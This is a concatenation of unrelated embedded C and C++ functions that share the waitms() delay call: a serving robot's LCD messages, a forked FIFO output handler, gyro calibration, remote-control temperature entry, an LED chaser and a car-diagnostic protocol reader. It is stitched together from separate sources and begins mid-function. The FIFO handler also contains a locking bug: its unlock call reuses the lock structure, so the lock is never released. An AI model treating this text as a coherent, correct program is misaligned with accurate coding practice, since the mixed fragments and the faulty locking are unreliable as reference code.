lcd_clrscr(); lcd_gotoxy(0,0); lcd_puts("A votre sante."); } waitms(2000); } else { PORTD = 0b01100011; //set_servo(0, 20); //set_servo(1, 80); lcd_gotoxy(0,0); lcd_clrscr(); lcd_puts("Je suis"); lcd_gotoxy(0,1); lcd_puts("Roberto"); for(i=0; i< 100;i++) { waitms(20); if(_PINA0 == 1) goto sortie; } lcd_gotoxy(0,0); lcd_clrscr(); lcd_puts("Le robot"); lcd_gotoxy(0,1); lcd_puts("serveur"); for(i=0; i< 100;i++) { waitms(20); if(_PINA0 == 1) goto sortie; } lcd_gotoxy(0,0); lcd_clrscr(); lcd_puts("Je fais parti"); lcd_gotoxy(0,1); lcd_puts("de Robopoly"); set_servo(4, 10); set_servo(3, 90); waitms(200); set_servo(4, 50); set_servo(3, 50); for(i=0; i< 100;i++) { waitms(20); if(_PINA0 == 1) goto sortie; } lcd_gotoxy(0,0); lcd_clrscr(); lcd_puts("Un Ricard"); lcd_gotoxy(0,1); lcd_puts("Un vrai."); for(i=0; i< 100;i++) { waitms(20); if(_PINA0 == 1) goto sortie; } } /* if(_PINA2 == 0) { waitms(200); set_servo(1, 80); } else { waitms(200); set_servo(1, 20); } */ /* set_servo(0, 30); set_servo(1, 30); set_servo(2, 30); set_servo(3, 40); set_servo(4, 40); waitms(500); set_servo(0, 70); set_servo(1, 70); set_servo(2, 70); set_servo(3, 60); set_servo(4, 60); waitms(500); */ /* for(i=0; i<20;i++) { for(j=0;j<10;j++) { PORTD = 0b00000100; waitms(20-i+1); PORTD = 0b00000001; waitms((i+1)); PORTD = 0b00000000; waitms(5); } } for(i=0; i<20;i++) { for(j=0;j<10;j++) { PORTD = 0b00000001; waitms(20-i+1); PORTD = 0b00000010; waitms((i+1)); PORTD = 0b00000000; waitms(5); } } for(i=0; i<20;i++) { for(j=0;j<10;j++) { PORTD = 0b00000010; waitms(20-i+1); PORTD = 0b00000100; waitms((i+1)); PORTD = 0b00000000; waitms(5); } } */ } return 0; }
static int handle_output_fifo (char *name_buffer, char *name_fifo_out) { int data_count, time_count, sres, fifo_out, admin_out, pid, buffer; buffer = open(name_buffer,O_RDONLY); if ( -1 == buffer ) /* failed */ exit_error("open buffer <id>_out failed"); pid = fork(); if ( -1 == pid ) /* failed */ exit_error("fork failed"); /* are we parent ? */ if ( 0 != pid ) /* yes - return with child pid */ return pid; /* no - We're the output handling child. */ while(1) { char *outbuf; int time=0; /* Open output fifo - will block until connected */ DEBUG( LID, "output: waiting for connection"); do { /* start with pause, to allow close operation to recover, before reopening */ time += waitms(100); /* Open in non - blocking will return -1 if not connected */ fifo_out = open(name_fifo_out,O_WRONLY|O_NONBLOCK); /* Have we been here for 10 sec ? */ if (time>10000) { /* Yes - give up and terminate */ DEBUG( LID, "output: giving up waiting"); close(buffer); _exit(1); } /* Keep going until client is connected */ } while( -1 == fifo_out); DEBUG( LID, "output: connected\n"); /* zero counters */ data_count = 0; time_count = 0; outbuf = (char*)malloc(MAX_CHUNK); while(1) { DEBUG(LID, "output: time is %d ms, data is %d bytes",time_count, data_count); if (1 != read(buffer,&outbuf[data_count],1)) { /* Yes - simply make 50 ms pause */ /* consider feeding browser 0's to keep connection */ time_count += waitms(50); } else { if (data_count==0) time_count=0; data_count++; } /* give the browser manageable chunks */ if (data_count>=MAX_CHUNK) { DEBUG(LID, "output: max data reached"); break; } /* avoid timeout in browser, if no data */ if (time_count>10000) { DEBUG(LID, "output: max time reached"); break; } /* Transmit data after 200 ms */ if (data_count && time_count) { DEBUG(LID, "output: timeout after %d ms (%d bytes)",time_count, data_count); break; } } if (data_count != 0 ) { /* write data to fifo */ DEBUG(LID, "output: writing %d bytes",data_count); write(fifo_out,outbuf,data_count); /* make a blocking lock request on admin file */ admin_out = open(name_admin, O_WRONLY|O_CREAT|O_APPEND, -1); struct flock fl = { F_WRLCK }; fcntl (admin_out, F_SETLKW, &fl); /* duplicate data to admin file */ char size_buf[6]; sprintf(size_buf,"%.5d",pid_terminal); write(admin_out,size_buf,5); write(admin_out,":",1); sprintf(size_buf,"%.4d",data_count); write(admin_out,size_buf,4); write(admin_out,":",1); write(admin_out,outbuf,data_count); /* Free and close fifo and adminstrative file */ struct flock fu = { F_UNLCK }; fcntl (admin_out, F_SETLKW, &fl); close(admin_out); } free(outbuf); close (fifo_out); } close(buffer); _exit(1); }
void gyroOffset() { waitms(200); actual_offset = gyroReadAvg(0xFF, 'z'); waitms(200); integral = 0; }
void set_temp_init(void) { u16 value; u08 step = 0, empty, tmp[2]; u08 day[3], month[3], year[5]; u08 temp1[3], temp2[3]; u08 skipLoop = 0; LCD_write_command(0x0f); waitms(20); do { empty = 0; LCD_gotoxy((2 + step), 2); value = decode_rc5(); switch (value) { case KEY_0: { LCD_puts("0"); strcpy(tmp, "0"); break; } case KEY_1: { LCD_puts("1"); strcpy(tmp, "1"); break; } case KEY_2: { LCD_puts("2"); strcpy(tmp, "2"); break; } case KEY_3: { LCD_puts("3"); strcpy(tmp, "3"); break; } case KEY_4: { LCD_puts("4"); strcpy(tmp, "4"); break; } case KEY_5: { LCD_puts("5"); strcpy(tmp, "5"); break; } case KEY_6: { LCD_puts("6"); strcpy(tmp, "6"); break; } case KEY_7: { LCD_puts("7"); strcpy(tmp, "7"); break; } case KEY_8: { LCD_puts("8"); strcpy(tmp, "8"); break; } case KEY_9: { LCD_puts("9"); strcpy(tmp, "9"); break; } case KEY_LEFT: { if (step == 5) { step -= 4; } else if (step == 11) { step -= 5; } else { step--; } skipLoop = 1; break; } case KEY_RIGHT: { empty = 1; break; } default: { step--; empty = 1; break; } } if(skipLoop) { skipLoop = 0; continue; } if (!empty) { switch (step) { case 0: strcpy(temp1, tmp); break; case 1: strcat(temp1, tmp); break; case 5: strcpy(temp2, tmp); break; case 6: strcat(temp2, tmp); break; default: break; } } step++; if (step == 2) step += 3; if (step == 7) step += 4; } while (step <= 11); LCD_write_command(0x0C); if (m_dayTemp >= 0 && m_nightTemp >= 0) { m_requiresSettings |= SETTING_TEMP; } m_dayTemp = (atoi(temp1) % 90); m_nightTemp = (atoi(temp2) % 90); m_offsetTemp = (atoi(tmp) % 90); }
void rider (int select,int kleur,int tijd) //Select : 1=aan-links,2=uit-links,3=aan-rechts,4=uit-rechts,5=loop-links,6=loop-rechts,7=rider-links,8=rider-rechts Kleur : 1=blauw,2=groen,3=cyaan,4=rood,5=paars,6=geel,7=wit { switch (select) { case 1 : ledon (1,kleur); waitms(tijd); ledon (2,kleur); waitms(tijd); ledon (3,kleur); waitms(tijd); ledon (4,kleur); waitms(tijd); break; case 2 : ledoff(1,kleur); waitms(tijd); ledoff(2,kleur); waitms(tijd); ledoff(3,kleur); waitms(tijd); ledoff(4,kleur); waitms(tijd); break; case 3 : ledon (4,kleur); waitms(tijd); ledon (3,kleur); waitms(tijd); ledon (2,kleur); waitms(tijd); ledon (1,kleur); waitms(tijd); break; case 4 : ledoff(4,kleur); waitms(tijd); ledoff(3,kleur); waitms(tijd); ledoff(2,kleur); waitms(tijd); ledoff(1,kleur); waitms(tijd); break; case 5 : ledon (1,kleur); waitms(tijd); ledoff(1,kleur); ledon (2,kleur); waitms(tijd); ledoff(2,kleur); ledon (3,kleur); waitms(tijd); ledoff(3,kleur); ledon (4,kleur); waitms(tijd); ledoff(4,kleur); break; case 6 : ledon (4,kleur); waitms(tijd); ledoff(4,kleur); ledon (3,kleur); waitms(tijd); ledoff(3,kleur); ledon (2,kleur); waitms(tijd); ledoff(2,kleur); ledon (1,kleur); waitms(tijd); ledoff(1,kleur); break; case 7 : ledon (1,kleur); waitms(tijd); ledon (2,kleur); waitms(tijd); ledon (3,kleur); waitms(tijd); ledon (4,kleur); waitms(tijd); ledoff(1,kleur); waitms(tijd); ledoff(2,kleur); waitms(tijd); ledoff(3,kleur); waitms(tijd); ledoff(4,kleur); waitms(tijd); break; case 8 : ledon (4,kleur); waitms(tijd); ledon (3,kleur); waitms(tijd); ledon (2,kleur); waitms(tijd); ledon (1,kleur); waitms(tijd); ledoff(4,kleur); waitms(tijd); ledoff(3,kleur); waitms(tijd); ledoff(2,kleur); waitms(tijd); ledoff(1,kleur); waitms(tijd); break; default: return; break; } }
bool SSMP1communication_procedures::getNextData(std::vector<char> * data, unsigned int timeout) { if (_currentaddr < 0) return false; TimeM time; char hb = (_currentaddr & 0xffff) >> 8; char lb = _currentaddr & 0xff; std::vector<char> rbuf; bool ok = false; time.start(); while (static_cast<unsigned int>(time.elapsed()) < timeout) { // Read out port buffer: do { ok = _diagInterface->read(&rbuf); if (ok && rbuf.size()) _recbuffer.insert(_recbuffer.end(), rbuf.begin(), rbuf.end()); } while (ok && rbuf.size()); #ifdef __FSSM_DEBUG__ if (!ok) std::cout << "SSMP1communication_procedures::getNextData(...): communication error.\n"; #endif // Try to find/get dataset: if (ok && (_recbuffer.size() > 2)) { // Synchronize with received data (if necessary): if (!_sync) syncToRecData(); // Extract data from latest received dataset: if (_sync && (_recbuffer.size() > 2)) { unsigned char olBytes = _recbuffer.size() % 3; unsigned int msgStartIndex = _recbuffer.size() - 3 - olBytes; if ((_recbuffer.at(msgStartIndex) == hb) && (_recbuffer.at(msgStartIndex+1) == lb)) { /* NOTE: There could have been an overflow of the drivers receive-buffer. If this is the case and we nevertheless reached this point => hb=lb => we could extract old (but correct) data */ // Extra-check to avoid extracting old data (if a buffer-overflow occured): if (hb == _recbuffer.at(msgStartIndex+2)) // && _recbuffer.size > XXX { // NOTE: We could extract old (but correct) data if (olBytes > 0) { if (_recbuffer.at(msgStartIndex+3) != hb) { _sync = false; } else if (olBytes > 1) { if (_recbuffer.at(msgStartIndex+4) == hb) _sync = false; } } } /* NOTE: at this point we may have lost snychronisation (due to a buffer overflow), but we are at least sure that the data byte is correct ! */ // Extract data, clean up buffer: if (_sync) { data->push_back(_recbuffer.at(msgStartIndex+2)); _recbuffer.erase(_recbuffer.begin(), _recbuffer.begin()+msgStartIndex+3); #ifdef __FSSM_DEBUG__ std::cout << "SSMP1communication_procedures::getNextData(...): received data: " << std::hex << std::showbase << (static_cast<int>(data->back()) & 0xff) << '\n'; #endif return true; } } else // may happen, if we got an overflow of the drivers receive-buffer _sync = false; #ifdef __FSSM_DEBUG__ if (!_sync) std::cout << "SSMP1communication_procedures::getNextData(...): lost synchronisation.\n"; #endif } } // Delay before next iteration: waitms(10); } #ifdef __FSSM_DEBUG__ std::cout << "SSMP1communication_procedures::getNextData(...): timeout.\n"; #endif return false; }